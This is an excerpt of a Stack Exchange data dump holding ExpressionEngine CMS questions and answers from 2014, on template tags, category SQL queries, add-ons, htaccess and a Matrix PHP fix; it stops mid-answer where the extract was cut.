  <row Id="22288" PostTypeId="2" ParentId="22090" CreationDate="2014-05-29T20:43:14.203" Score="1" Body="&lt;p&gt;My suggestion to you is to disable the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html#auto-assign-category-parents&quot; rel=&quot;nofollow&quot;&gt;Auto-Assign Category Parents&lt;/a&gt;. I &lt;strong&gt;guess&lt;/strong&gt;, by this way, the parent categories will not be shared between the entries assigned to their children.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If this isn't an option, let's try to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/query/index.html&quot; rel=&quot;nofollow&quot;&gt;Query module&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need to find which categories related to the entry doesn't have children among each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/index.html&quot; rel=&quot;nofollow&quot;&gt;Channel module&lt;/a&gt; to get the values we need to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;maps&quot; limit=&quot;1&quot;}&#xA;&#xA;    {categories backspace=&quot;1&quot;}{category_id},{/categories}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, we create a query and set the &lt;code&gt;parse&lt;/code&gt; parameter of the Channel Module to &lt;code&gt;inward&lt;/code&gt;, so the Query module just parses after it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;maps&quot; limit=&quot;1&quot; parse=&quot;inward&quot;}&#xA;&#xA;{exp:query sql='SELECT c1.cat_id&#xA;        FROM exp_categories AS c1&#xA;        LEFT JOIN exp_categories AS c2&#xA;            ON c1.cat_id = c2.parent_id&#xA;            AND c2.cat_id IN ({categories backspace=&quot;1&quot;}{category_id},{/categories})&#xA;        WHERE c2.cat_id IS NULL&#xA;            AND c1.cat_id IN ({categories backspace=&quot;1&quot;}{category_id},{/categories})'&#xA;        backspace='1'}{cat_id}|{/exp:query}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's create a &lt;code&gt;embed&lt;/code&gt; around all of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;maps&quot; limit=&quot;1&quot; parse=&quot;inward&quot;}&#xA;&#xA;{embed=&quot;pages/.related_maps&quot;&#xA;categories=&quot;{exp:query sql='SELECT c1.cat_id&#xA;        FROM exp_categories AS c1&#xA;        LEFT JOIN exp_categories AS c2&#xA;            ON c1.cat_id = c2.parent_id&#xA;            AND c2.cat_id IN ({categories backspace=&quot;1&quot;}{category_id},{/categories})&#xA;        WHERE c2.cat_id IS NULL&#xA;            AND c1.cat_id IN ({categories backspace=&quot;1&quot;}{category_id},{/categories})'&#xA;        backspace='1'}{cat_id}|{/exp:query}&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you're using an old version of EECMS, we need to take care of white spaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the embed, check for the &lt;code&gt;categories&lt;/code&gt; variable and get the entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if embed:categories}&#xA;    {exp:channel:entries channel=&quot;maps&quot; category=&quot;{embed:categories}&quot;}&#xA;        [...]&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fucking complex, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can maybe have issues with the nested quotation marks. In this case, try using this heavier query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;maps&quot; limit=&quot;1&quot; parse=&quot;inward&quot;}&#xA;&#xA;{embed=&quot;pages/.related_maps&quot;&#xA;categories=&quot;{exp:query sql='SELECT c1.cat_id&#xA;        FROM exp_categories AS c1&#xA;        LEFT JOIN exp_categories AS c2&#xA;            ON c1.cat_id = c2.parent_id&#xA;            AND c2.cat_id IN (&#xA;                    SELECT cat_id&#xA;                    FROM exp_category_posts&#xA;                    WHERE entry_id = {entry_id}&#xA;                )&#xA;        INNER JOIN exp_category_posts AS cp&#xA;            ON cp.cat_id = c1.cat_id&#xA;        WHERE c2.cat_id IS NULL&#xA;            AND cp.entry_id = {entry_id}'&#xA;        backspace='1'}{cat_id}|{/exp:query}&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To prevent this parsing issues, I suggest you to update EECMS to a newer version.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-06-01T21:35:22.447" LastActivityDate="2014-06-01T21:35:22.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22289" PostTypeId="1" CreationDate="2014-05-29T22:17:52.460" Score="1" ViewCount="44" Body="&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like it's only related to the particular product page. I can add PRODUCT A to another related page. Taking a look at that next :)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;#&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what's happening here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SCENARIO&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Playa and Stash working together to give me the Categories that the related entries are located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ISSUE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PRODUCT A is added and select a Category. NOTHING appears on that particular entry page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the Category of an existing product then it changes the category that's displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add a NEW category and link PRODUCT A to it nothing appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change an existing product to the NEW Category it shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Stash do some weird caching or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to get my head wrapped around this one!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;product_info&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:playa:parents channel=&quot;products_accessories&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; disable=&quot;members&quot;}&#xA;        {stash:product_url}{url_title_path='/products/accessories/'}{/stash:product_url}&#xA;        {stash:product_title}{title}{/stash:product_title}&#xA;        {stash:product_part_number}{products_accessories_part_number}{/stash:product_part_number}&#xA;        {stash:product_image}{if products_accessories_images}&amp;lt;div class=&quot;accessories_image&quot;&amp;gt;{products_accessories_images limit=&quot;1&quot;}&amp;lt;p&amp;gt;&amp;lt;img src=&quot;{exp:ce_img:single src='{image}'{sn_image_product_detail_accessories}}&quot; alt=&quot;{alt}&quot; class=&quot;img-responsive text-center&quot; /&amp;gt;{/products_accessories_images}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;{/if}&#xA;&#xA;        {if products_accessories_images ==''}&amp;lt;div class=&quot;accessories_image&quot;&amp;gt;{products_accessories_images_old limit=&quot;1&quot;}&amp;lt;p&amp;gt;&amp;lt;img src=&quot;{exp:ce_img:single src='/images/uploads/products/{image}'{sn_image_product_detail_accessories}}&quot; alt=&quot;{alt}&quot; class=&quot;img-responsive text-center&quot; /&amp;gt;{/products_accessories_images_old}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;{/if}&#xA;&#xA;        {/stash:product_image}&#xA;        {stash:product_content}{if products_accessories_content}{exp:eehive_hacksaw}{products_accessories_content}{/exp:eehive_hacksaw}{/if}{/stash:product_content}&#xA;&#xA;        {!-- create an index for this product to match against --}&#xA;        {stash:categories}{categories}@{category_id}@{/categories}{/stash:categories}&#xA;&#xA;        {categories}&#xA;            {exp:stash:append_list name=&quot;cat_accessories&quot;}&#xA;                {stash:cat_id}{category_id}{/stash:cat_id}&#xA;                {stash:cat_name}{category_name}{/stash:cat_name}&#xA;            {/exp:stash:append_list}&#xA;        {/categories}&#xA;    {/exp:playa:parents}&#xA;{/exp:stash:set_list}&#xA;&#xA;&amp;lt;div class=&quot;panel-group&quot; id=&quot;accordion&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;panel panel-default&quot;&amp;gt;&#xA;{!-- list unique categories only --}&#xA;{exp:stash:get_list name=&quot;cat_accessories&quot; unique=&quot;cat_id&quot; orderby=&quot;cat_name&quot; sort=&quot;asc&quot;}&#xA;        &amp;lt;div class=&quot;panel-heading&quot;&amp;gt;&#xA;            &amp;lt;h4 class=&quot;panel-title&quot;&amp;gt;&#xA;                &amp;lt;a data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#collapse{cat_id}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/h4&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;{!-- list products that belong to this category --}&#xA;        &amp;lt;div id=&quot;collapse{cat_id}&quot; class=&quot;panel-collapse collapse&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;panel-body&quot;&amp;gt;&#xA;{exp:stash:get_list:nested name=&quot;product_info&quot; match=&quot;#@{cat_id}@#&quot; against=&quot;categories&quot; orderby=&quot;product_title&quot; sort=&quot;asc&quot;}&#xA;                &amp;lt;div class=&quot;col-md-6 accessories_listings&quot;&amp;gt;&#xA;                    {product_image}&#xA;                    &amp;lt;h5&amp;gt;{product_title}&amp;lt;/h5&amp;gt;&#xA;                    &amp;lt;p class=&quot;product_content&quot;&amp;gt;{product_content}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p class=&quot;product_number&quot;&amp;gt;Product Number: &amp;lt;strong&amp;gt;{product_part_number}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;              &#xA;{/exp:stash:get_list:nested}&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- end panel-body --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- end panel-collapse --&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditDate="2014-05-29T22:31:16.357" LastActivityDate="2014-06-28T22:37:40.997" Title="Strange STASH and Playa Behaviour :///" Tags="|playa|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22290" PostTypeId="2" ParentId="22289" CreationDate="2014-05-29T22:36:30.550" Score="1" Body="&lt;p&gt;Apparently it had to do with the Limit of entries in Playa. I changed the line to this and it works now :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents limit=&quot;9999&quot; channel=&quot;products_accessories&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; disable=&quot;members&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-05-29T22:36:30.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22291" PostTypeId="2" ParentId="22277" CreationDate="2014-05-29T23:10:01.527" Score="2" Body="&lt;p&gt;Try removing the &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; parameter from your &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag. It may be confusing things and you don't really need it anyway.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-05-29T23:10:01.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22292" PostTypeId="2" ParentId="22278" CreationDate="2014-05-29T23:12:37.943" Score="2" Body="&lt;p&gt;Check out the &lt;a href=&quot;http://devot-ee.com/add-ons/continuum&quot; rel=&quot;nofollow&quot;&gt;Continuum&lt;/a&gt; add-on. Note that it is still in beta, though it's at version 0.9 at this point so I imagine it will go prime-time pretty soon.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-05-29T23:12:37.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22293" PostTypeId="1" CreationDate="2014-05-29T23:16:05.897" Score="0" ViewCount="55" Body="&lt;p&gt;Thanks for helping me with my htaccess issue before and I hope you can help me once more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little background, I am attempting to have my local machine and staging mimic the production site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been able to make the local machine work perfectly and I was on my way to do the same for the staging server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had logged into the site dev.example.com/system and I was configuring everything to point to dev.example.com, instead of the production site - www.example.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After submitting the Admin&gt; General Configuration - I briefly saw a prompt about config, but somehow it disappeared before I read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, going into system looks like an html file that is missing a css file - like a directory tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firebug in firefox is showing that it can not find items in the themes folder.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;NetworkError: 404 Not Found - http://dev.example.com/themes/cp_themes/default/css/jquery-ui-1.8.16.custom.css?v=1400856569&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;jquery...0856569&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;NetworkError: 404 Not Found - http://dev.example.com/themes/cp_themes/default/css/global.css?v=1400856569&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;global...0856569&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &quot;NetworkError: 404 Not Found - http://dev.example.com/themes/javascript/compressed/jquery/jquery.js?v=1400856579&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;jquery...0856579&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas - thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3145" LastEditorUserId="3145" LastEditDate="2014-05-29T23:29:34.157" LastActivityDate="2014-05-31T04:38:09.457" Title="site's system not coming up correctly" Tags="|control-panel|config|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22294" PostTypeId="2" ParentId="22267" CreationDate="2014-05-29T23:23:13.887" Score="2" Body="&lt;p&gt;Sounds like some crossed wires with your publish layout. Reset the layout, refresh the page, and try again.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-05-29T23:23:13.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22295" PostTypeId="1" CreationDate="2014-05-29T23:36:49.010" Score="2" ViewCount="592" Body="&lt;p&gt;I want to have a channel form (new version of SAEF) form on my website for users to fill out. Upon submission I want the form to obviously save as an entry in the system (which is what it does by default) but ALSO send the contents of the filled-out form in an email to a specified email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible either natively, via an addon, or possibly via a hook and writing an addon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="976" LastActivityDate="2014-05-31T21:07:29.533" Title="Send email with contents of channel form upon submission" Tags="|channel-form|email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22296" PostTypeId="2" ParentId="22295" CreationDate="2014-05-29T23:48:41.150" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.eec.ms/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;MX Notify Control&lt;/a&gt; (free) or &lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; (paid) can do this using the 'new entry create' hook.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-05-29T23:48:41.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22298" PostTypeId="1" CreationDate="2014-05-30T01:16:29.493" Score="0" ViewCount="57" Body="&lt;p&gt;I've never created an Addon before I'm finding it a little daunting, any pointers would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I am trying to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Channel Form in the front end that site's users submit to request approval for passing a skill. In the form they choose the name of the instructor that helped them. When they submit the form I would like the instructor chosen to be notified by email (passed along in the form) that User X submitted an entry and provide the instructor with a link to review, approve or deny that entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the looks of it I need to use the entry_submission_end hook. I don't need any extension settings or to store anything in a custom table. &lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-05-30T04:19:41.590" Title="Creating an Extension - Inform custom email address on submission" Tags="|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22299" PostTypeId="1" CreationDate="2014-05-30T01:32:57.977" Score="3" ViewCount="148" Body="&lt;p&gt;I'm trying to create a plugin to allow shipping cost based on ranges of post codes. The post codes are hard-coded into the plugin. Due to my lack of experience developing for ExpressionEngine I'm unable to get the plugin to do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the cart only has &lt;strong&gt;one&lt;/strong&gt; shipping option; the user shouldn't need to or be able to select a shipping option; this should be applied automatically based on their shipping post code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin: &lt;a href=&quot;https://gist.github.com/anonymous/86838c02028faabfb404&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/anonymous/86838c02028faabfb404&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3158" LastActivityDate="2014-08-25T17:11:54.213" Title="How can I provide a custom order shipping value?" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22300" PostTypeId="2" ParentId="22276" CreationDate="2014-05-30T01:38:18.350" Score="1" Body="&lt;p&gt;I don't have store installed on my sandbox to text with right this second, but worst case you could always pull this information via the exp:query module &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'd go something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT order_id FROM exp_store_orders ORDER BY order_date DESC LIMIT 2000&quot;}&#xA;    {order_id}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can ORDER BY whatever works, probably by order_id itself and have a list of the last 2000 orders&lt;/p&gt;&#xA;" OwnerUserId="681" LastActivityDate="2014-05-30T01:38:18.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22301" PostTypeId="2" ParentId="22298" CreationDate="2014-05-30T04:19:41.590" Score="1" Body="&lt;p&gt;The functionality you require can actually be handled by the &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; add-on ($65) or possibly the &lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;MX Notify Control&lt;/a&gt; add-on (free).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you are still interested in pursuing add-on development, as a starting point you might want to try creating a simple 'hello world' plugin first to get a sense of how add-ons interact with EE, and then perhaps once you feel comfortable with that look at how to create extensions that make use of hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pkg.io/&quot; rel=&quot;nofollow&quot;&gt;pkg.io&lt;/a&gt; is a nice tool to use that will give you a basic template for use in making your first add-on, though you might also just want to go step-by-step through the process in the EE docs here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/plugins.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/plugins.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it all seems daunting at first, just remember to do things as simply as possible at first, make a lot of stripped-down examples and tests, and keep on building from what you learn.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-05-30T04:19:41.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22302" PostTypeId="2" ParentId="22281" CreationDate="2014-05-30T05:00:45.523" Score="3" Body="&lt;p&gt;As per your comments, you've already figured out the rather large annoyance of needing to pass all pre-existing fields with the save_entry function or else having them wiped out.  I wanted to post an answer here though because there are a couple considerations I've come across when doing entry updates with my add-ons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) If you do not need the update to trigger the EE system from explicitly noticing it and then triggering other hooks or dependencies, you can just use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/database.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;EE Database Class&lt;/a&gt; to do a simple database update query and update that particular field directly.  This carries with it the added benefit that a session does not need to be initiated to make the update, so you can use this method for automated tasks or when the logged-in user does not have permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If you DO need to update with save_entry in order to trigger the cascade of EE hooks and dependencies and are using a database 'select all' query to fill in your old values, then to keep the edit_date correct you need to unset the old edit_date and let EE fill this part in automatically.  I've posted an answer with some code for doing this a few weeks back, which may be of some use: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/21311/how-do-i-update-or-edit-an-entry-using-the-channel-entries-api-save-entry-functi/21336#21336&quot;&gt;Using Channel API save_entry to update an entry&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-05-30T05:15:10.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22303" PostTypeId="1" CreationDate="2014-05-30T05:30:34.077" Score="0" ViewCount="115" Body="&lt;p&gt;So I am having trouble with a simple feature. I am running 2.8.1 and I have a channel file field that uploads an image. The image is only 200k.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I pick the image, click upload and the upload window just hangs. If I cancel and relaod the page, the file I was trying to upload is listed in the available images list so it made it to the server, the upload page just never closed. Happens on all images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what I can check?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx!&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2018-05-24T03:41:01.770" Title="Basic EE file upload hangs" Tags="|file-uploads|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22304" PostTypeId="1" CreationDate="2014-05-30T07:44:06.400" Score="2" ViewCount="172" Body="&lt;p&gt;Using EE 2.8.1 I get 'Disallowed Key Characters' after setting up the field type.&#xA;I have downloaded the latest MX Google Maps extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="3159" LastEditorUserId="932" LastEditDate="2014-05-30T08:29:22.697" LastActivityDate="2017-02-10T10:40:21.050" Title="Disallowed Key Characters - MX Google Maps extension" Tags="|mx-google-map|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22306" PostTypeId="1" CreationDate="2014-05-30T09:17:46.893" Score="0" ViewCount="166" Body="&lt;p&gt;i want to remove  ? from url with .htaccess rewrite module.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&#xA;http://example.com/?/test/downloads&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in this url i want to remove &lt;strong&gt;/?&lt;/strong&gt; .&#xA; how to remove this any idea&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am using Query string in expression engine i think this is the reason so that this question mark comes.&lt;/p&gt;&#xA;" OwnerUserId="3060" LastEditorUserId="3060" LastEditDate="2014-05-30T09:31:31.220" LastActivityDate="2014-05-30T10:34:44.203" Title="remove question mark with .htaccess rewrite module" Tags="|ee2|.htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22307" PostTypeId="2" ParentId="21556" CreationDate="2014-05-30T09:51:57.347" Score="0" Body="&lt;p&gt;I believe the id is missing in your custom_data inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;custom_data[whatever]&quot; id=&quot;custom_data[whatever]&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-05-30T09:51:57.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22308" PostTypeId="1" CreationDate="2014-05-30T09:52:45.010" Score="0" ViewCount="40" Body="&lt;p&gt;This may be a simple yes/no but is it possible to show the Favorites Count within the Favorites Saved tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm trying to achieve this by using the Favorites Count tag within the Favorites Saved tag but unfortunately I'm getting a weird encrypted looking number outputted on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even tried adding the count tag as a snippet within the saved tag as I know this sometimes helps with channel entries within channel entries, but not luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is what I'm doing possible? Or is there some variable for the saved tag that will output the count that I'm missing in the documentation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: When I separate the count from the saved tag, I get a number, so the tag is correct. However I would prefer the count within the saved tag because I am using ajax to action the save and would like the count to update &quot;on-the-fly&quot; along with the saved/unsaved status.&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2014-05-30T09:52:45.010" Title="Solspace Favorites Count inside Favorites Saved tag" Tags="|solspace|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22309" PostTypeId="2" ParentId="22268" CreationDate="2014-05-30T10:20:16.947" Score="0" Body="&lt;p&gt;I've just tried and everything looks fine to me. The only thing I can think of that was different in my code is the results_page parameter, I've got search/results instead of just search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form&#xA;    channel=&quot;my|channels&quot;&#xA;    search_in=&quot;entries&quot;&#xA;    results=&quot;3&quot;&#xA;    result_page=&quot;search/results&quot; &#xA;    no_result_page=&quot;search/no_results&quot;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe if you change your's to search/index?&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2014-05-30T10:20:16.947" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22310" PostTypeId="2" ParentId="22306" CreationDate="2014-05-30T10:34:44.203" Score="1" Body="&lt;p&gt;If you are using query strings then removing the ? will stop the site working. The ? has a special meaning in URLs, what comes after it is the query string.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-30T10:34:44.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22311" PostTypeId="2" ParentId="11871" CreationDate="2014-05-30T10:57:04.910" Score="3" Body="&lt;p&gt;In case this helps anyone else out there I fixed it with the same versions of EE (2.2.2) and Matrix (2.2.2.1) as the OP and with php 5.4.x and php5.5.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially I did a diff between the latest version of Matrix (2.5.10) and a couple of older ones and tracked it down to these two parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;File: system/expressionengine/third_party/matrix/celltypes/file.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lines: 131 to 143&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;_data_exists($data))&#xA;{&#xA;  if (is_array($data))&#xA;  {&#xA;    $filedir = $data['filedir'];&#xA;    $filename = $data['filename'];&#xA;  }&#xA;  else if (preg_match('/^{filedir_([0-9]+)}(.*)/', $data, $matches))&#xA;  {&#xA;    $filedir  = $matches[1];&#xA;    $filename = $matches[2];&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($data)&#xA;{&#xA;  if (is_array($data) &amp;amp;&amp;amp; ! empty($data['filedir']) &amp;amp;&amp;amp; ! empty($data['filename']))&#xA;  {&#xA;    $filedir = $data['filedir'];&#xA;    $filename = $data['filename'];&#xA;  }&#xA;  else if (is_string($data) &amp;amp;&amp;amp; preg_match('/^{filedir_([0-9]+)}(.*)/', $data, $matches))&#xA;  {&#xA;    $filedir  = $matches[1];&#xA;    $filename = $matches[2];&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;File: system/expressionengine/third_party/matrix/ft.matrix.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line: 1820&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this: &lt;code&gt;$field_id = $this-&amp;gt;settings['field_id'];&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add 